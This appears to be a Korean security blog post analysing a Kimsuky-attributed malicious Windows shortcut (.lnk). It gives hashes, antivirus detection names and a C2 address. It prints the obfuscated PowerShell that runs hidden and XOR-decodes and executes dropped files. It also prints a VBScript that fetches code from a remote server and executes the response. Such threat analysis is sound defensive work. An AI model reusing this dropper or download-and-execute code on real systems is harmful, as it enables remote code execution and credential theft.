꿈을꾸는 파랑새

오늘은 로그인 정보를 훔치는 것으로 추정되는 북한 APT 김수키(Kimsuky)만든 악성코드-. lnk(2024.11.8)에 대해 글을 적어보겠습니다.
먼저 악성코드 해시값은 다음과 같습니다.
파일명:.lnk
사이즈:5.92 KB
MD5:b7de564386ab778046b1dd3ef76e4b5e
SHA-1:baa69876baa6861db5736c58d2eded93dd1bec6e
SHA-256:e13ad0ebaac36ec363eba5760e69cb995dcae7dcc6afc01bbb31642c3c175d61

악성코드에 포함된 PowerShell 코드
악성코드에 포함된 PowerShell 코드

악성코드 내부 모습

StringData
{
    namestring: Type: Text Document
    Size: 5.23 KB
    Date modified: 01/02/2020 11:23
    relativepath: not present
    workingdir: not present
    commandlinearguments: \/c fHjk4fTLlkc5DZfyorHstui9FxC(d)6xw3Jkddddd(d)dddd
    dddddfklsjjjjdjjjjjjjjjsdfjjjjjjjjjjjsdfjjjjjsdfjjjjjjjjjjjsssssssdjdddddd
    dddikkkkddddddddddddddddddddddddddddd(d)ddddddddddddddddd(d)dddddddddddddd
    dddddddddddkddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddd(d)ddddddddddddddddddddddd(d)dddddddddddddddddddddddddd
    dddddddddddddkkkkkkkkkkkfffffffffffffffffffffffffffffffffffffffffkkkdkkkkkk
    kkkkkkkk(k)kkkkkkkkddddddddddddddddddddddddddddddddddllllllllllllllleZWhdwr
    piX+F4gEcRJCp5kdddddddddddddlkjsldkfjlkjlkjlkjlkjjjjjjjjjjjjjjjsdffff(f)fff
    ffffffslkjlkksdflkjlknnlksnldkfjli1KXfjUxLJXU8QzW5||goto&P^(o)^w^e^R^S^h^e^
    L^L -windowstyle hidden -c function getShapePath(){$l(n)kpath = G^e^t-C^hi^
    ld^Item *.lnk;$lnkpath = $lnkpath^| w^he^r(e)-ob^ject {$_.length -eq 0x0000
    17B5} ;$lnkpath = $lnkpath^| S^el(^)ect-O^bject -ExpandProperty Name;return
    $lnkpath;} function g(e)tImgContent(){$lnkpath = getShapePath;$file = ^g^c 
    $lnkpath -E^nco^din^g Byte;return $file};function makepath(){$lnkpath = get
    Shape(P)ath;$lnkpath = '%temp%\'+$lnkpa(t)h.substring(0,$lnkpath.length-4);
    retur(n) $lnkpath};function makepath(1)(){$path1 = '%temp%(\)tmp' + (Get-Ra
    ndom) + '(.)vbs';return $pa(t)h1;};function changec(o)ntent(){$file = getIm
    gContent; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor
    0x77 };return $file;};function s(u)bsave{$path = makepath;$bytes = changeco
    ntent;$temp = $bytes ^| select -Skip 005602 ;$temp = ($temp ^|select -SkipL
    ast 000460);s(c) $path ([byte[]]($)temp) -Encoding Byte;r(e)turn @($path,$(
    b)ytes);};function savecontent(){$_a_res = subsav(e);$path1 = mak(e)path1; 
    ^s^c $path1 ([byt(e)[]]($_a_res[1] ^| sele(c)t -Skip  005609)) -Encoding By
    te;return @($_a_res[0],$path1);};$_a_path = savecon(t)ent;$path1 = $_a_path
    [0];$path = $_a_p(a)th[1];^& $path1; ^& $path;
    iconlocation: C:\Windows\System32\notepad.exe
}

코드 분석

1. 명령어 세부 사항
주어진 commandlinearguments에 포함된 긴 문자열은 코드 난독화 PowerShell을 사용
goto(&)P^o^w^e^R(^)S^h^e^(L)^L -windowstyle hidden 명령어는 PowerShell을 숨겨진 창 모드에서 실행
2.분석
해당 스크립트에서 사용된 주요 기능은 다음과 같습니다:
getShapePath():현재 디렉터리에서. lnk 파일(바로 가기 파일)을 검색하고 특정 조건(length -eq 0x000017B5)을 만족하는 파일을 반환 
해당 악성코드가 특정 크기의 .lnk 파일을 대상으로 작업을 수행할 준비를 하는 것을 나타냄
getImgContent():getShapePath()에서 찾은. lnk 파일을 바이너리 형식으로 읽어들이는 기능
해당 작업을 통해 악성코드는. lnk 파일의 내용을 다음 작업에 사용할 준비
makepath()및 makepath1():
makepath()는 temp 디렉터리에 새로운 파일 경로를 생성
makepath1()는 temp 디렉터리 내에 임시 .vbs 파일의 경로를 생성
악성코드는 임시 파일을 저장하기 위한 경로를 미리 준비
changecontent(): getImgContent() 에서 얻은 바이너리 데이터를 비트 XOR 연산(-bxor 0x77)을 통해 복호화하거나 인코딩을 변경 
이는 특정 파일의 데이터를 변환하여 분석을 어렵게 하는 기법
subsave() 및 savecontent():
subsave()는 changecontent()로 변경된 데이터를 부분적으로 생략하고 파일로 저장
savecontent()는 추가로 데이터를 건너뛰고 임시 vbs 파일로 저장하여 실행 준비
3. 실행 흐름
최종적으로 $_a_path = savecon(t)ent;$path1 = $_a_pa(t)h[0];$path = $_a_pat(h)[1];& $path1; & $pat(h); 명령어로 두 개의 경로 $path1과 $path에 저장된 파일을 실행
감염된 시스템에서 실제 악성 행위를 실행하기 위해 필요한 파일을 생성하고 호출하는 부분

악성코드가 생성한 tmp1539579398.vbs 내용

On Err?r Resume Next
set os?_ns = CreateObj?ct("Shell.App?ication").NameSp?ce(21)
res_pat? = osa_n?.Self.Path & "\password.txt"
res_cont?nt="asdfgqwert"
?et fso = Create?bject("Scripting.Filesystemobject")	
?et fp = fso.Open?extFile(res_path, 2, True)
?p.write res_co?ntent
?p.close
?et mx = Create?Object("Microsoft.XMLHTTP")
mx(.)open "GET", "hxxp://partybbq(.)co(.)kr/src/bbs/calendar/upload/up/list(.)php?query=1", False
mx.Send
Execute(mx.responseText)

tmp1539579398.vbs 내용
tmp1539579398.vbs 내용

코드 분석

해당 악성 VBScript 코드의 목적은 원격 서버에서 추가 악성 코드를 다운로드하여 실행
1.On Error Resume Next:스크립트 실행 중 오류가 발생해도 무시하고 계속 진행하도록 설정하는 구문
2. 로컬 경로 설정 및 텍스트 파일 생성:
Shell.Application 객체의 NameSpace(21)을 사용하여 로컬 애플리케이션 데이터 폴더 경로를 가져오게 되어져 있으며 해당 
폴더는 일반적으로 C:\Users\사용자명\AppData\Roaming
res_path 는 해당 경로를 사용하여 password(.)txt 라는 파일의 경로를 생성
res_content는 파일에 작성할 내용으로 asdfgqwert 라는 문자열을 지정
3. 파일 시스템 객체를 사용해 파일 쓰기:
Scripting(.)FileSystemObject를 통해 파일 시스템을 조작할 수 있는 객체를 생성
OpenTextFile 을 통해 res_path 위치에 파일을 생성하고 res_content 내용을 기록하고 나서 파일을 닫음
로컬 애플리케이션 데이터 폴더에 password.txt 파일을 생성하고 asdfgqwert 라는 내용을 기록
4. 원격 서버와의 통신 설정:
Microsoft(.)XMLHTTP 객체를 사용해 HTTP 요청을 생성
mx(.)open 에서 GET 요청을 hxxp://partybbq(.)co(.)kr/src/bbs/calendar/upload/up/list(.)php?query=1 에 설정
mx.Send 를 통해 요청을 전송하고 서버의 응답을 수신
5. 서버 응답 실행: 원격 서버의 응답 내용을 Execute 구문을 통해 코드로 실행
서버에서 받은 악성 스크립트나 명령을 바로 실행 원격 코드 실행(RCE)을 수행
2024.11.10 기준 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Kimsuky.S2172
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Trojan.Generic.D2341E35
Avast:LNK:Agent-DP [Trj]
AVG:LNK:Agent-DP [Trj]
BitDefender:Trojan.Generic.36970037
CTX:Lnk.trojan.powecod
DrWeb:Trojan.MulDrop28.37590
Emsisoft:Trojan.Generic.36970037 (B)
eScan:Trojan.Generic.36970037
ESET-NOD32:A Variant Of Generik.CLKHTQU
Fortinet:LNK/Agent.NWV!tr
GData:Win32.Trojan.Agent.L5ZLBV
Google:Detected
Gridinsoft (no cloud):Susp.Obfuscted_PowerShell_Code.C.sd!yf
Huorong:Trojan/LNK.Agent.h
Ikarus:Trojan.SuspectCRC
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
Lionic:Trojan.WinLNK.Powecod.4!c
Microsoft:Trojan:Win32/Pantera.DS!MTB
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Trojan.zx
Sophos:Troj/LnkObf-T
Symantec:CL.Downloader!gen20
Trellix (ENS):LNK/Agent-FYP!B7DE564386AB
Trellix (HX):Trojan.Generic.36970037
TrendMicro:TROJ_FRS.0NA103K824
TrendMicro-HouseCall:TROJ_FRS.0NA103K824
VIPRE:Trojan.Generic.36970037
WithSecure:Suspicious:LNK/SuspiciousLNK.B
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Powecod.c

악성코드가 악용하는 사이트

hxxps://partybbq(.)co(.)kr/src/bbs/calendar/upload/up/list(.)php?query=1

기본적인 보안 수칙을 잘 지키는 습관을 가지는 것을 권장합니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band